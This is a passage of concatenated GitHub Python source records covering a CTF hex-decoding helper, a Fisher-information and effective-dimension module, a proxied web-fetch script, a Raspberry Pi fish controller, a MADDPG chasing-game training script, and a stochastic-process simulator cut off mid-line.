number!\")\r\n\r\ndouble(\"Hello!\")\r\n","repo_name":"hkleungai/learning-material-backup","sub_path":"src/COMP-1021-Spring-2022/hkust/s2022_notes/32_handling_of_data_types/examples/02_checking_type.py","file_name":"02_checking_type.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"1770085387","text":"import codecs\n\nfile = open('poc2.txt')\n\nlineas = file.read().splitlines()\n\nfor linea in lineas:\n\tfor posicion in range(0,len(linea),2):\n\t\tpalabra = linea[posicion:posicion+2]\n\t\ttry:\n\t\t\tprint(str(codecs.decode(palabra,'hex'),'utf-8'), end='')\n\t\texcept:\n\t\t\tprint(\".\", end='')\n\n\tprint(\"\")\n","repo_name":"KevinLiebergen/ctf_walkthrough_compilations","sub_path":"HTB/ctf_cyberapocalypse/forense/oldest_trick_in_the_book/decodificar.py","file_name":"decodificar.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"26817517515","text":"from typing import List, Iterable\n\n# for python < 3.10\ntry:\n from typing import TypeAlias\nexcept ImportError:\n from typing_extensions import TypeAlias\n\nimport math\nfrom math import pi\nimport torch\nfrom torch.nn import Module\n\nTensor: TypeAlias = torch.Tensor\nModel: TypeAlias = Module\nParameterList: TypeAlias = List[Iterable[Tensor]]\n\n\ndef compute_effdim(\n model: Model,\n features: Tensor,\n param_list: ParameterList,\n weights: Tensor,\n volume: Tensor,\n gamma: Tensor,\n) -> Tensor:\n \"\"\"\n Compute the effective dimension as proposed in arXiv:2112.04807.\n\n :param model: The statistical model, which outputs a probability vector.\n :type model: Model\n :param features: The input data (X) used to compute the FIMs, shape (num_samples, num_features).\n :type features: Tensor\n :param param_list: A list of lists of parameters. Each set of parameters is used to\n compute an empirical FIM.\n :param weights: Weights for the Monte Carlo integration. The integral f(theta) is estimated\n as 1/N * sum_k f_k w_k.\n :type weights: Tensor\n :param volume: Volume of the parameter space.\n :type volume: Tensor\n :param gamma: Gamma parameter of the effective dimension.\n :type gamma: Tensor\n\n :return: Effective dimension.\n :rtype: Tensor\n\n .. note::\n The effective dimension will be negative for data samples that are too small,\n where n/log(n) < 2pi/gamma.\n \"\"\"\n\n num_data_samples = len(features)\n num_parameters = sum(p.numel() for p in model.parameters() if p.requires_grad)\n\n fims = compute_fims(model, features, param_list)\n trace_integral = mc_integrate_fim_trace(fims, weights)\n norm_const = norm_const_fim(trace_integral, num_parameters, volume)\n kappa = const_effdim(num_data_samples, gamma)\n effdim = mc_integrate_fims_effdim(fims, weights, norm_const, kappa, volume)\n\n return effdim\n\n\ndef mc_integrate_fims_effdim(\n fims: List[Tensor],\n weights: Tensor,\n norm_const: Tensor,\n kappa: Tensor,\n volume: Tensor,\n) -> Tensor:\n \"\"\"\n Performs a weighted Monte Carlo integration of the square root of the determinant\n of the matrix (Identity + c*FIM(theta)) and estimate the effective dimension\n as in arXiv:2112.04807.\n\n :param fims: List of Fisher Information Matrices estimated at different parameter samples.\n :type fims: List[Tensor]\n :param weights: Weights for each parameter sample, or a single constant weight.\n The integral f(theta) is estimated as 1/N * sum_k f_k w_k.\n :type weights: Tensor\n :param norm_const: The FIM normalization constant.\n :type norm_const: Tensor\n :param kappa: The denominator in effective dimension.\n :type kappa: Tensor\n :param volume: Volume of the parameter space.\n :type volume: Tensor\n\n :return: A scalar tensor of the estimated effective dimension.\n :rtype: Tensor\n\n :raises ValueError: If any of the FIMs is not a square matrix, or if the number\n of FIMs is not equal to the number of weights (for non-scalar weights).\n \"\"\"\n\n num_samples = len(fims)\n if weights.numel() > 1:\n num_weights = len(weights)\n if num_samples != num_weights:\n raise ValueError(\n f\"Number of samples ({num_samples}) \"\n \"must be equal to number of weights ({num_weights})\"\n )\n\n logdets = torch.zeros(num_samples, device=fims[0].device, dtype=fims[0].dtype)\n\n for i, fim in enumerate(fims):\n _check_fim(fim)\n logdet = half_log_det(fim, norm_const * kappa)\n logdets[i] = logdet\n zeta = torch.max(logdets)\n\n sum = torch.zeros(1, device=fims[0].device, dtype=fims[0].dtype)\n for logdet in logdets:\n if weights.numel() > 1:\n weight = weights[i]\n else:\n weight = weights\n\n sum += weight * torch.exp(logdet - zeta)\n sum /= num_samples\n\n result = 2.0 * zeta / torch.log(kappa) + 2.0 / torch.log(kappa) * torch.log(\n 1.0 / volume * sum\n )\n\n return result\n\n\ndef half_log_det(fim: Tensor, c: Tensor) -> Tensor:\n \"\"\"\n Estimates half of the logarithm of the determinant of the matrix (Identity + c*FIM).\n\n This function takes as input a square Fisher Information Matrix (FIM) and a scaling factor,\n and returns half of the logarithm of the determinant of the matrix (Identity + c*FIM).\n\n :param fim: The square Fisher Information Matrix (FIM).\n :type fim: Tensor\n :param c: The scaling factor.\n :type c: Tensor\n\n :return: Half of the logarithm of the determinant of the matrix (Identity + c*FIM).\n :rtype: Tensor\n\n :raises ValueError: If the FIM is not a square matrix.\n \"\"\"\n\n _check_fim(fim)\n\n eigs = torch.linalg.eigvalsh(fim)\n result = torch.tensor(0.5, device=fim.device, dtype=fim.dtype) * sum(\n torch.log(1.0 + c * eigs)\n )\n return result\n\n\ndef const_effdim(num_samples: int, gamma: Tensor) -> Tensor:\n \"\"\"\n Computes the constant factor in the effective dimension as per the formula described in\n arXiv:2011.00027.\n\n This function takes the number of data samples and the effective dimension gamma parameter\n (between 0 and 1), and returns the constant factor in the effective dimension formula.\n\n :param num_samples: Number of data samples.\n :type num_samples: int\n :param gamma: The effective dimension gamma parameter (should be between 0 and 1, exclusive).\n :type gamma: float\n\n :return: The constant factor in the effective dimension formula.\n :rtype: float\n\n :raises ValueError: If the number of samples is less than 2 or the gamma parameter is not in\n the (0, 1] range.\n \"\"\"\n\n if num_samples < 2:\n raise ValueError(f\"num_samples ({num_samples}) has to be at least 2\")\n if gamma <= 0.0 or gamma > 1.0:\n raise ValueError(f\"gamma ({gamma}) has to be in (0, 1])\")\n\n const = gamma * num_samples / (2 * pi * math.log(num_samples))\n return const\n\n\ndef norm_const_fim(\n trace_integral: Tensor, num_parameters: int, volume: Tensor\n) -> Tensor:\n \"\"\"\n Computes the normalization constant for the Fisher Information Matrix (FIM).\n\n The function takes as input the integral over the trace of FIMs, the number\n of trainable parameters (i.e., the dimension of the FIM), and the volume of the\n parameter space.\n\n :param trace_integral: Integral over the trace of FIMs.\n :type trace_integral: Tensor\n :param num_parameters: Number of trainable parameters, or the dimension of the FIM.\n :type num_parameters: int\n :param volume: Volume of the parameter space.\n :type volume: Tensor\n\n :return: Normalization constant for the FIM.\n :rtype: Tensor\n\n :raises ValueError: If the trace integral is less than or equal to zero, the number of\n parameters is less than one, or the volume is negative.\n \"\"\"\n\n if trace_integral <= 0.0:\n raise ValueError(f\"trace_integral ({trace_integral}) must be positive\")\n if num_parameters < 1:\n raise ValueError(f\"num_parameters ({num_parameters}) has to be at least 1\")\n if volume < 0.0:\n raise ValueError(f\"volume ({volume}) has to be non-negative\")\n\n norm_const = num_parameters * volume / trace_integral\n return norm_const\n\n\ndef mc_integrate_fim_trace(\n fims: List[Tensor],\n weights: Tensor,\n) -> Tensor:\n \"\"\"\n Performs a weighted Monte Carlo integration of the traces of the Fisher Information\n Matrices (FIMs), which are estimated at different parameter samples.\n\n The function takes as input a list of Fisher Information Matrices and weights for each\n parameter sample (or a single constant weight). It returns a scalar tensor of the\n estimated integral of the traces of the FIMs.\n\n :param fims: List of Fisher Information Matrices estimated at different parameter samples.\n :type fims: List[Tensor]\n :param weights: Weights for each parameter sample, or a single constant weight.\n The integral f(theta) is estimated as 1/N * sum_k f_k w_k.\n :type weights: Tensor\n\n :return: A scalar tensor of the estimated integral of the trace.\n :rtype: Tensor\n \"\"\"\n\n num_samples = len(fims)\n if weights.numel() > 1:\n num_weights = len(weights)\n if num_samples != num_weights:\n raise ValueError(\n f\"Number of samples ({num_samples}) \"\n f\"must be equal to number of weights ({num_weights})\"\n )\n\n sum = torch.zeros(1, device=fims[0].device, dtype=fims[0].dtype)\n for i, fim in enumerate(fims):\n _check_fim(fim)\n trace = torch.trace(fim)\n\n if weights.numel() > 1:\n weight = weights[i]\n else:\n weight = weights\n\n sum += weight * trace\n\n sum /= num_samples\n\n return sum\n\n\ndef compute_fims(\n model: Model,\n features: Tensor,\n param_list: ParameterList,\n) -> List[Tensor]:\n \"\"\"\n Computes a list of empirical Fisher Information Matrices (FIMs) for a given parameter list.\n\n This function modifies the parameters of the model temporarily for each set of parameters\n in the parameter list and computes the corresponding empirical FIM.\n\n :param model: The model returning a discrete probability distribution.\n :type model: Model\n :param features: The input data (X) used to compute the FIMs.\n :type features: Tensor\n :param param_list: A list of lists of parameters. Each set of parameters is used to\n compute an empirical FIM.\n :type param_list: ParameterList\n\n :return: A list of Fisher information matrices.\n :rtype: List[Tensor]\n\n .. note::\n This function assumes that the model's parameters are differentiable.\n \"\"\"\n\n original_params = [p.clone() for p in model.parameters() if p.requires_grad]\n\n fims = []\n for param in param_list:\n for model_param, sample_param in zip(model.parameters(), param):\n model_param.data = sample_param\n\n fim = empirical_fim(model, features)\n fims.append(fim)\n\n for model_param, original_param in zip(model.parameters(), original_params):\n model_param.data = original_param\n\n return fims\n\n\ndef empirical_fim(model: Model, features: Tensor) -> Tensor:\n \"\"\"\n Computes the empirical Fisher information matrix.\n\n :param model: The model returning a discrete probability distribution.\n :type model: Model\n :param features: The training feature set X to estimate the FIM.\n :type features: Tensor\n\n :returns: The Fisher information matrix.\n :rtype: Tensor\n\n :raises ValueError: If invalid features format.\n\n .. note::\n This function assumes that the output of the model is a differentiable tensor of probabilities.\n \"\"\"\n\n _check_features(features)\n\n probs = model(features)\n log_probs = torch.log(probs)\n num_parameters = sum(p.numel() for p in model.parameters() if p.requires_grad)\n num_samples = log_probs.shape[0]\n num_states = log_probs.shape[1]\n FIM = torch.zeros(\n (num_parameters, num_parameters), device=features.device, dtype=features.dtype\n )\n\n for sample in range(num_samples):\n for state in range(num_states):\n model.zero_grad()\n log_prob = log_probs[sample, state]\n log_prob.backward(retain_graph=True)\n grad_list = [\n p.grad.view(-1)\n for p in model.parameters()\n if p.requires_grad and p.grad is not None\n ]\n grad = torch.cat(grad_list)\n prod = torch.outer(grad, grad)\n FIM += prod * probs[sample, state]\n FIM /= num_samples\n\n return FIM\n\n\ndef _check_features(features: Tensor) -> None:\n lshapex = len(features.shape)\n if lshapex != 2:\n raise ValueError(f\"features must be a 2-dim tensor (not {lshapex})\")\n\n\ndef _check_fim(fim: Tensor) -> None:\n shape = fim.shape\n len_shape = len(shape)\n if len_shape != 2:\n raise ValueError(f\"fim (shape={shape}) must be a squared matrix.\")\n if shape[0] != shape[1]:\n raise ValueError(f\"fim (shape={shape}) must be a squared matrix.\")\n","repo_name":"MazenAli/QuLearn","sub_path":"qulearn/fim.py","file_name":"fim.py","file_ext":"py","file_size_in_byte":12079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"70590875630","text":"import random\nimport urllib.request\nheaders = {\n\"User-Agent\":\"User-Agent,Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36\"\n}\n\nproxy = {\"http\":\"http://user1:123168@10.20.152.78:808\"}\n# proxy = {\n# 'http':\"http://123.207.215.186:8118\"\n# }\n# ip_list = [\n# {},\n# {},\n# {},\n# ]\n#proxy = random.choice(ip_list)\n\n#ua_list = []\n#设置代理服务器\nproxy_handler = urllib.request.ProxyHandler(proxies=proxy)\n\n#创建打开服务器\nopener = urllib.request.build_opener(proxy_handler)\n\nurl = \"http://www.ifeng.com/\"\n\nreq = urllib.request.Request(url=url,headers=headers)\n#ua_list=[\"\",\"\"]\n#req.add_header(\"User-Agent\",random,shoice(ua_list))\nresponse = opener.open(req)\nprint(response.read().decode())","repo_name":"yaoxi123/reptileproject","sub_path":"day02/daili.py","file_name":"daili.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36411434798","text":"#!/usr/bin/env python3\n\"\"\"\nwatches to see if the fish is talking, then changes the voltage meter\nruns in background. Started in fish_config.sh\n\"\"\"\n\nfrom bmbb_fish import BmBB\nfrom box_controls import boxControls\n\nmy_fish = BmBB()\nmy_box = boxControls()\n\nwhile True:\n if my_fish.get_fishIsSpeaking():\n my_box.set_voltage(0)\n else:\n my_box.set_voltage(255)\n","repo_name":"mnr/rubberfish","sub_path":"software/fish_head_tail.py","file_name":"fish_head_tail.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"38"} +{"seq_id":"33766032214","text":"import os\nimport sys\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\nos.environ['KMP_DUPLICATE_LIB_OK']='True'\ndirName = os.path.dirname(__file__)\nsys.path.append(os.path.join(dirName, '..'))\nsys.path.append(os.path.join(dirName, '..', '..'))\nimport logging\nlogging.getLogger('tensorflow').setLevel(logging.ERROR)\nimport numpy as np\nimport json\n\nfrom maddpg.maddpgAlgor.trainer.myMADDPG import BuildMADDPGModels, TrainCritic, TrainActor, TrainCriticBySASR, \\\n TrainActorFromSA, TrainMADDPGModelsWithBuffer, ActOneStep, actByPolicyTrainNoisy, actByPolicyTargetNoisyForNextState\nfrom RLframework.RLrun_MultiAgent import UpdateParameters, SampleOneStep, SampleFromMemory, ShuffleSheepState,\\\n RunTimeStep, RunTimeStepWithShuffleSheepState, RunEpisode, RunAlgorithm, getBuffer, SaveModel, StartLearn\nfrom functionTools.loadSaveModel import saveVariables\nfrom environment.chasingEnv.multiAgentEnv import TransitMultiAgentChasing, TransitMultiAgentChasingVariousForce, ApplyActionForce, ApplyEnvironForce, \\\n ResetMultiAgentChasing, ResetMultiAgentChasingWithCaughtHistory, ResetStateWithCaughtHistory, ReshapeAction, ReshapeActionVariousForce,\\\n CalSheepCaughtHistory, RewardSheep, RewardSheepWithBiteAndKill, RewardWolf, RewardWolfWithBiteAndKill, ObserveWithCaughtHistory, \\\n GetCollisionForce, IntegrateState, IntegrateStateWithCaughtHistory, IsCollision, PunishForOutOfBound, \\\n getPosFromAgentState, getVelFromAgentState, getCaughtHistoryFromAgentState\nfrom environment.chasingEnv.multiAgentEnvWithIndividReward import RewardWolfIndividualWithBiteAndKill\n\n# fixed training parameters\nmaxEpisode = 120000\nlearningRateActor = 0.01\nlearningRateCritic = 0.01\ngamma = 0.95\ntau = 0.01\nbufferSize = 1e6\nminibatchSize = 1024\n\n\n# arguments: numWolves numSheeps numBlocks saveAllmodels = True or False\n\ndef main():\n debug = 0\n if debug:\n numWolves = 3\n numSheeps = 1\n numBlocks = 2\n saveAllmodels = True\n maxTimeStep = 75\n sheepSpeedMultiplier = 1\n individualRewardWolf = int(True)\n # trainingID = 0\n\n else:\n print(sys.argv)\n condition = json.loads(sys.argv[1])\n numWolves = int(condition['numWolves'])\n numSheeps = int(condition['numSheeps'])\n numBlocks = int(condition['numBlocks'])\n\n maxTimeStep = int(condition['maxTimeStep'])\n sheepSpeedMultiplier = float(condition['sheepSpeedMultiplier'])\n individualRewardWolf = int(condition['individualRewardWolf'])\n # trainingID = int(condition['trainingID'])\n\n saveAllmodels = 1\n\n print(\"maddpg: {} wolves, {} sheep, {} blocks, {} episodes with {} steps each eps, sheepSpeed: {}x, wolfIndividualReward: {}, save all models: {}\".\n format(numWolves, numSheeps, numBlocks, maxEpisode, maxTimeStep, sheepSpeedMultiplier, individualRewardWolf, str(saveAllmodels)))\n\n\n numAgents = numWolves + numSheeps\n numEntities = numAgents + numBlocks\n wolvesID = list(range(numWolves))\n sheepsID = list(range(numWolves, numAgents))\n blocksID = list(range(numAgents, numEntities))\n\n wolfSize = 0.065\n sheepSize = 0.05\n blockSize = 0.2\n entitiesSizeList = [wolfSize] * numWolves + [sheepSize] * numSheeps + [blockSize] * numBlocks\n\n wolfMaxSpeed = 1.0\n blockMaxSpeed = None\n sheepMaxSpeedOriginal = 1.0\n sheepMaxSpeed = sheepMaxSpeedOriginal * sheepSpeedMultiplier\n\n entityMaxSpeedList = [wolfMaxSpeed] * numWolves + [sheepMaxSpeed] * numSheeps + [blockMaxSpeed] * numBlocks\n entitiesMovableList = [True] * numAgents + [False] * numBlocks\n massList = [1.0] * numEntities\n\n isCollision = IsCollision(getPosFromAgentState)\n punishForOutOfBound = PunishForOutOfBound()\n # rewardSheep = RewardSheep(wolvesID, sheepsID, entitiesSizeList, getPosFromAgentState, isCollision, punishForOutOfBound)\n sheepLife = 5\n biteReward = 1\n killReward = 10\n rewardSheep = RewardSheepWithBiteAndKill(wolvesID, sheepsID, entitiesSizeList, getPosFromAgentState, isCollision,\n punishForOutOfBound, getCaughtHistoryFromAgentState, biteReward, killReward)\n\n if individualRewardWolf:\n rewardWolf = RewardWolfIndividualWithBiteAndKill(wolvesID, sheepsID, entitiesSizeList, isCollision, getCaughtHistoryFromAgentState, sheepLife, biteReward, killReward)\n\n else:\n # rewardWolf = RewardWolf(wolvesID, sheepsID, entitiesSizeList, isCollision)\n rewardWolf = RewardWolfWithBiteAndKill(wolvesID, sheepsID, entitiesSizeList, isCollision, getCaughtHistoryFromAgentState, sheepLife, biteReward, killReward)\n\n rewardFunc = lambda state, action, nextState: \\\n list(rewardWolf(state, action, nextState)) + list(rewardSheep(state, action, nextState))\n\n observeOneAgent = lambda agentID: ObserveWithCaughtHistory(agentID, wolvesID, sheepsID, blocksID, getPosFromAgentState,\n getVelFromAgentState, getCaughtHistoryFromAgentState)\n observe = lambda state: [observeOneAgent(agentID)(state) for agentID in range(numAgents)]\n\n wolfForceMag = 5\n sheepForceMag = 6\n reshapeWolfAction = ReshapeAction(sensitivity = wolfForceMag)\n reshapeSheepAction = ReshapeAction(sensitivity = sheepForceMag)\n #reshapeAction = ReshapeAction()\n\n getCollisionForce = GetCollisionForce()\n applyActionForce = ApplyActionForce(wolvesID, sheepsID, entitiesMovableList)\n applyEnvironForce = ApplyEnvironForce(numEntities, entitiesMovableList, entitiesSizeList,\n getCollisionForce, getPosFromAgentState)\n calSheepCaughtHistory = CalSheepCaughtHistory(wolvesID, sheepsID, entitiesSizeList, isCollision, sheepLife)\n damping = 0.25\n dt = 0.05\n integrateState = IntegrateStateWithCaughtHistory(numEntities, entitiesMovableList, massList, entityMaxSpeedList,\n getVelFromAgentState, getPosFromAgentState, calSheepCaughtHistory, damping, dt)\n # transit = TransitMultiAgentChasing(numEntities, reshapeAction, applyActionForce, applyEnvironForce, integrateState)\n transit = TransitMultiAgentChasingVariousForce(numEntities, reshapeWolfAction, reshapeSheepAction, applyActionForce, applyEnvironForce, integrateState)\n\n mapSize = 1.1\n agentMaxSize = max([sheepSize, wolfSize])\n resetState = ResetMultiAgentChasingWithCaughtHistory(numAgents, numBlocks, mapSize, blockSize, agentMaxSize)\n reset = ResetStateWithCaughtHistory(resetState, calSheepCaughtHistory)\n # reset = ResetMultiAgentChasing(numAgents, numBlocks, mapSize, blockSize, agentMaxSize)\n\n isTerminal = lambda state: [False] * numAgents\n initObsForParams = observe(reset())\n obsShape = [initObsForParams[obsID].shape[0] for obsID in range(len(initObsForParams))]\n\n worldDim = 2\n actionDim = worldDim * 2 + 1\n\n layerWidth = [128, 128]\n\n#------------ models ------------------------\n\n buildMADDPGModels = BuildMADDPGModels(actionDim, numAgents, obsShape)\n modelsList = [buildMADDPGModels(layerWidth, agentID) for agentID in range(numAgents)]\n\n trainCriticBySASR = TrainCriticBySASR(actByPolicyTargetNoisyForNextState, learningRateCritic, gamma)\n trainCritic = TrainCritic(trainCriticBySASR)\n trainActorFromSA = TrainActorFromSA(learningRateActor)\n trainActor = TrainActor(trainActorFromSA)\n\n paramUpdateInterval = 1 #\n updateParameters = UpdateParameters(paramUpdateInterval, tau)\n sampleBatchFromMemory = SampleFromMemory(minibatchSize)\n\n learnInterval = 100\n learningStartBufferSize = minibatchSize * maxTimeStep\n startLearn = StartLearn(learningStartBufferSize, learnInterval)\n\n trainMADDPGModels = TrainMADDPGModelsWithBuffer(updateParameters, trainActor, trainCritic, sampleBatchFromMemory, startLearn, modelsList)\n\n actOneStepOneModel = ActOneStep(actByPolicyTrainNoisy)\n actOneStep = lambda allAgentsStates, runTime: [actOneStepOneModel(model, allAgentsStates) for model in modelsList]\n\n sampleOneStep = SampleOneStep(transit, rewardFunc)\n shuffleSheepState = ShuffleSheepState(calSheepCaughtHistory)\n # runDDPGTimeStep = RunTimeStepWithShuffleSheepState(actOneStep, sampleOneStep, trainMADDPGModels, shuffleSheepState, observe=observe)\n runDDPGTimeStep = RunTimeStep(actOneStep, sampleOneStep, trainMADDPGModels, observe=observe)\n\n runEpisode = RunEpisode(reset, runDDPGTimeStep, maxTimeStep, isTerminal)\n\n getAgentModel = lambda agentId: lambda: trainMADDPGModels.getTrainedModels()[agentId]\n getModelList = [getAgentModel(i) for i in range(numAgents)]\n modelSaveRate = 10000\n individStr = 'individ' if individualRewardWolf else 'shared'\n # fileName = \"trainingId{}maddpg{}wolves{}sheep{}blocks{}episodes{}stepSheepSpeed{}{}_agent\".format(\n # trainingID, numWolves, numSheeps, numBlocks, maxEpisode, maxTimeStep, sheepSpeedMultiplier, individStr)\n fileName = \"maddpg{}wolves{}sheep{}blocks{}episodes{}stepSheepSpeed{}{}_agent\".format(\n numWolves, numSheeps, numBlocks, maxEpisode, maxTimeStep, sheepSpeedMultiplier, individStr)\n folderName = \"{}dt{}sheepSize{}block{}sheepLife{}biteReward{}killReward\".format(\n dt, sheepSize, numBlocks, sheepLife, biteReward, killReward)\n modelPath = os.path.join(dirName, '..', 'trainedModels', folderName, fileName)\n saveModels = [SaveModel(modelSaveRate, saveVariables, getTrainedModel, modelPath + str(i), saveAllmodels) for i, getTrainedModel in enumerate(getModelList)]\n\n maddpg = RunAlgorithm(runEpisode, maxEpisode, saveModels, numAgents)\n replayBuffer = getBuffer(bufferSize)\n meanRewardList, trajectory = maddpg(replayBuffer)\n\n\n\n\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"ChenyaGu/policyTrainningForWolf-SheepChasing","sub_path":"maddpg/experiments/runMyMADDPGchasing.py","file_name":"runMyMADDPGchasing.py","file_ext":"py","file_size_in_byte":9657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"18588059540","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nfrom typing import Union, Tuple\nfrom collections import namedtuple\nfrom raop.stochastic_processes import process_update\nfrom raop.utils import logger\n\n\nprocess_update_models = {\n \"gbm\": [\"mu\", \"sigma\"], # Geometric Brownian Motion\n \"abm\": [\"mu\", \"sigma\"], # Arithmetic Brownian Motion\n \"merton_jd\": [\"mu\", \"sigma\", \"p\"], # Merton Jump Diffusion process\n \"orn_uhl\": [\"theta\", \"sigma\", \"mu\"], # Mean-Reverting Processes: Ornstein-Uhlenbeck process\n \"cir\": [\"theta\", \"sigma\", \"mu\"], # Mean-Reverting Processes: Cox-Ingersoll-Ross process\n \"heston\": [\"mu\", \"kappa\", \"theta\", \"xi\"], # Heston Model\n \"vg\": [\"theta\", \"sigma\", \"nu\"], # Variance-Gamma (VG) Model\n}\n\n\nclass StochasticProcess:\n \"\"\"\n Main class to model a stochastic process (for simulating underlying asset's price evolution through time).\n\n Attributes:\n x0 (float): initial value of the random variable (classically underlying asset's price at t=0).\n model_name (str): name of the chosen stochastic process to make evolve the random variable. See `raop.stochastic_processes.process_update` for further details on available update models. Possibilities are:\n\n \"gbm\" # Geometric Brownian Motion\n \"abm\" # Arithmetic Brownian Motion\n \"merton_jd\" # Merton Jump Diffusion process\n \"orn_uhl\" # Mean-Reverting Processes: Ornstein-Uhlenbeck process\n \"cir\" # Mean-Reverting Processes: Cox-Ingersoll-Ross process\n \"heston\" # Heston Model\n \"vg\" # Variance-Gamma (VG) Model\n nu0 (float): initial value of a second random variable on which could depend the first random variable (classically volatility). Default value is np.NaN.\n **kwargs: potentially needed key-words arguments for process update computation, depending on chosen model. See `raop.stochastic_processes.process_update` for further details on update models arguments. Mandatory arguments for each model are:\n\n \"gbm\" -> \"mu\", \"sigma\"\n \"abm\" -> \"mu\", \"sigma\"\n \"merton_jd\" -> \"mu\", \"sigma\", \"p\"\n \"orn_uhl\" -> \"theta\", \"sigma\", \"mu\"\n \"cir\" -> \"theta\", \"sigma\", \"mu\"\n \"heston\" -> \"mu\", \"kappa\", \"theta\", \"xi\"\n \"vg\" -> \"theta\", \"sigma\", \"nu\"\n model_params (namedtuple): contains all the parameters previously given as kwargs that are necessary to update the random variables with the chosen model. Automatically created when instantiating a `StochasticProcess`.\n\n Methods:\n **compute_xt** (`t`, `n_t`, `n_var`): return `n_var` simulated random variables values at time `t` (starting with initial value `x0`) and all computed values between 0 and t with time step $$\\Delta t = \\\\frac{t}{n_t}$$\n\n **plot** (`t`, `n_t`, `n_var`, `save_path`): plot `n_var` simulated random variables values between 0 and `t` (starting at `x0`) with `n_t` steps. If `save_path` is None, display the plot. Else save it at the given path.\n \"\"\"\n def __init__(self, x0: float, model_name: str, nu0: float = np.NaN, **kwargs):\n if model_name not in process_update_models.keys():\n error_msg = f\"'model_name' must be chosen among the following names:\\n\" \\\n f\"{list(process_update_models.keys())}\"\n log.error(error_msg)\n raise ValueError(error_msg)\n\n n_kwargs = len(kwargs)\n in_model_args = True\n if n_kwargs == 0:\n in_model_args = False\n if n_kwargs > 0:\n for arg in process_update_models[model_name]:\n if arg not in kwargs.keys():\n in_model_args = False\n if not in_model_args:\n error_msg = f\"To instantiate a '{model_name}' StochasticProcess, \" \\\n f\"the following additional arguments must be specified:\\n\" \\\n f\"{process_update_models[model_name]}\"\n log.error(error_msg)\n raise ValueError(error_msg)\n\n if model_name == \"heston\" and nu0 == np.NaN:\n error_msg = f\"To instantiate a '{model_name}' StochasticProcess 'nu0' must be specified\"\n log.error(error_msg)\n raise ValueError(error_msg)\n\n self.x0 = x0\n self.nu0 = nu0\n self.model_name = model_name\n Params = namedtuple(\"Params\", kwargs.keys())\n self.model_params = Params(*kwargs.values())\n\n def compute_xt(self, t: float, n_t: int, n_var: int = 1) -> Tuple[Union[float, np.ndarray], np.ndarray]:\n \"\"\"\n Simulate `n_var` random variables updated at each time step with `self.model_name` stochastic process\n over a duration `t` discretized into `n_t` steps, starting with value `self.x0`.\n\n Args:\n t (float): stochastic process duration.\n n_t (int): number of time steps to subdivide duration `t`.\n n_var (int): number of simulated stochastic processes.\n\n Returns:\n Tuple[Union[float, np.ndarray], np.ndarray]: random variables values at time `t` and a np.ndarray with all random variable values between 0 and t (included).\n \"\"\"\n p = self.model_params # contains all parameters to define the update rule of the stochastic process\n\n # Variables are initialized\n xt = self.x0\n nut = self.nu0\n x_0_to_t = [[xt]]\n\n # Adapt variables types to array if more than 1 stochastic process is simulated\n if n_var > 1:\n xt = np.ones(n_var) * xt\n nut = np.ones(n_var) * nut\n x_0_to_t = [xt.tolist()]\n\n # Time step increment and update rule\n dt = t / n_t\n process_update_func = getattr(process_update, self.model_name) # function used compute variables at t + dt\n\n # Variables are update at each time step\n for k in range(n_t):\n if self.model_name == \"heston\":\n # in this case it is specific because we also have to update the variance that is stochastic\n xt, nut = process_update_func(s_t=xt, nu_t=nut, dt=dt, **p._asdict())\n else:\n xt = process_update_func(s_t=xt, dt=dt, **p._asdict())\n x_0_to_t.append(xt.tolist())\n return xt, np.array(x_0_to_t)\n\n def plot(self, t: float, n_t: int, n_var: int = 1, save_path: str = None):\n \"\"\"\n Plot `n_var` random variables updated at each time step with `self.model_name` stochastic process\n over a duration `t` discretized into `n_t` steps, starting with value `self.x0`.\n\n x-axis is for time and y-axis is for random variables values.\n\n Args:\n t (float): stochastic process duration.\n n_t (int): number of time steps to subdivide duration `t`.\n n_var (int): number of simulated stochastic processes.\n save_path (str): path where to save the plot. Default is None: in that case plot will be displayed. If not, it will be saved at the given file path.\n \"\"\"\n # First simulate the processes between 0 and t\n processes = self.compute_xt(t, n_t, n_var)[1].T\n dt = t/n_t\n time = np.arange(0, t + dt, dt)\n\n # Make the plot\n plt.style.use(\"ggplot\") # fancy plot style\n fig, ax = plt.subplots()\n ax.set_title(f\"{self.model_name} stochastic process(es) from t=0 to t={t}\")\n ax.set_xlabel(\"Time\")\n ax.set_ylabel(\"Stochastic process(es) values\")\n ax.grid(True, alpha=0.5, ls=\"--\")\n for process in processes:\n ax.plot(time, process, linestyle=\"-\")\n ax.legend()\n plt.tight_layout()\n\n if save_path is not None: # save the plot to the given path\n plt.savefig(save_path)\n plt.close(fig)\n else:\n plt.show()\n\n\nlog = logger\n\n\nif __name__ == \"__main__\":\n from raop.options.option import Option\n\n # option_euro = Option(\n # name=\"european\",\n # option_type=\"put\",\n # underlying_price=30,\n # strike_price=120,\n # time_to_maturity=10,\n # risk_free_rate=0.05,\n # volatility=0.5\n # )\n\n option_euro = Option(\n name=\"european\",\n option_type=\"call\",\n underlying_price=36,\n strike_price=40,\n time_to_maturity=1,\n risk_free_rate=0.06,\n volatility=0.2\n )\n\n mu = option_euro.r\n sigma = option_euro.sigma\n s0 = option_euro.s\n\n GBM_euro = StochasticProcess(x0=s0, model_name=\"gbm\", mu=mu, sigma=sigma)\n ABM_euro = StochasticProcess(x0=s0, model_name=\"abm\", mu=mu, sigma=sigma)\n OrnUhl_euro = StochasticProcess(x0=s0, model_name=\"orn_uhl\", theta=0.05, mu=mu, sigma=sigma)\n MertonJD_euro = StochasticProcess(x0=s0, model_name=\"merton_jd\", p=0.001, mu=mu, sigma=sigma)\n CIR_euro = StochasticProcess(x0=s0, 